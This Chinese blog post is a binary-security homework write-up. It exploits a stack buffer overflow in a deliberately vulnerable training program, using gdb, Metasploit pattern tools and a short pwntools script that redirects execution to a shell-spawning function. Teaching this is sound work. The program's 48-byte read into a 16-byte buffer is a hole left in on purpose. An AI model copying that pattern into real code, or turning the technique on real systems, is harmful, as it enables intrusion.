【二进制安全作业】250616课上作业1-栈溢出漏洞利用

发布于:2025-06-23 ⋅ 阅读:(19) ⋅ 点赞:(0)


前言

这次上课添加了一些新的工具,暂时可以不用,但是建议先下载,已经补充在 环境搭建 的250616补充里了。

这一次课连上三天,四个课上作业,时间紧,任务重,我尽快更,如果有讲解错误或讲得不清楚的地方,欢迎留言。


一、使用环境

处理器架构:x86_64
操作系统:Ubuntu24.04.2
GDB版本:GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git


二、程序源码

1. C语言源码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void y0u_c4n7_533_m3()
{
  execve("/bin/sh", (char *[]){0}, (char *[]){0});
}

int main()
{
  char buf[16];
  puts("This is your first bof challenge ;)");
  fflush(stdout);
  read(0, buf, 0x30);
  return 0;
}

2. 编译方式

gcc bof.c -fno-stack-protector -no-pie -o bof

三、源码分析

1. execve

execve 是一个常用系统调用,核心作用是加载并执行指定路径的可执行文件,C语言的 execve 函数是对系统调用的封装。

execve 不会创建新进程,而是直接替换当前进程的映像。如果需要创建新进程,通常需要先通过 fork() 创建子进程,然后在子进程中调用 execve

函数原型:

int execve(const char *filename, char *const argv[], char *const envp[]);

filename 要执行的可执行文件的路径(绝对路径或相对路径均可)。
argv 指向命令行参数的指针数组,数组的最后一个元素必须是NULL,表示参数列表的结束。例:

char *argv[] = {"ls", "-l", "/home", NULL};

envp 指向环境变量的指针数组,每个元素是一个以 KEY=VALUE 格式表示的字符串。例:

char *envp[] = {
    "PATH=/usr/bin:/bin",
    "HOME=/root",
    NULL
};

2. 漏洞分析

还是挺显眼的,read接受48字节,接收字符串的数组长度16字节,所以存在栈溢出漏洞,拿 shell 的函数已经准备好了,函数名叫y0u_c4n7_533_m3。


四、反汇编分析

1. 检查文件安全性

从这次开始养成一个习惯,首先使用 checksec 检查一下文件:

checksec bof

返回如下:
在这里插入图片描述
Arch 程序架构为x86_64,64位,小端序
RELRO GOT表部分可写
Stack 未启用栈保护
NX 堆栈不可执行
PIE 地址固定
Stripped 调试信息未剥离
关于这块我新写了一个 手册,不懂的同学可以查阅。

没有栈保护,本来也是要做栈溢出,所以继续。

2. 查找目标函数

使用gdb启用程序,然后查看函数,这道题一眼就能看到目标函数:
在这里插入图片描述
记录目标地址 0x400607 ,当然能用别的方法找到也可以。

3. 计算偏移量

我一向的习惯是找到栈中字符串输入的位置,再找到返回地址的位置,然后计算偏移量,可能是有点麻烦的:
找个合适的位置打断点:
在这里插入图片描述
运行,然后查看堆栈:
在这里插入图片描述
可以看到输入字符串的位置在 0x7fffffffe050 ,而跳转的地址应该在 rbp 的下一个存储单元:
在这里插入图片描述
rbp 指向 0x7fffffffe060 ,所以跳转地址应该在 0x7fffffffe068
这偏移量不管是口算还是直接从内存上看出来都很容易了,就是0x18,十进制是24。

这次再尝试一个新方法,暂时仅限有 kali 的同学使用:
使用 kali 自带的 msf 插件生成字符串:

msf-pattern_create -l 100

生成了字符串:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

还是用 gdb 启动程序,把断点打在 ret 的位置:
在这里插入图片描述
运行程序,输入刚才 kali 中生成的字符串,运行:
在这里插入图片描述
此时查看 rsp 指向的内存地址中保存的值,显示为 0x6241396141386141 ,然后在 kali 中执行:

msf-pattern_offset -q 6241396141386141

在这里插入图片描述
这样就计算出了偏移量是 24,偏移量比较大的时候这种方法会轻松很多。

五、编写EXP

有了函数地址和偏移量也就足够了,直接上代码:

from pwn import *

context.arch = "amd64"
context.os = "linux"

def exp():
    offset = 24
    func_addr = 0x400607
    exp = b'A' * offset + p64(func_addr)

    with process('./bof') as p:
        p.sendlineafter(b')', exp)
        p.interactive()

if __name__ == '__main__':
    exp()

运行结果:
在这里插入图片描述
成功

结语

感谢关注评论点赞收藏,继续肝下一篇


网站公告

今日签到

点亮在社区的每一天
去签到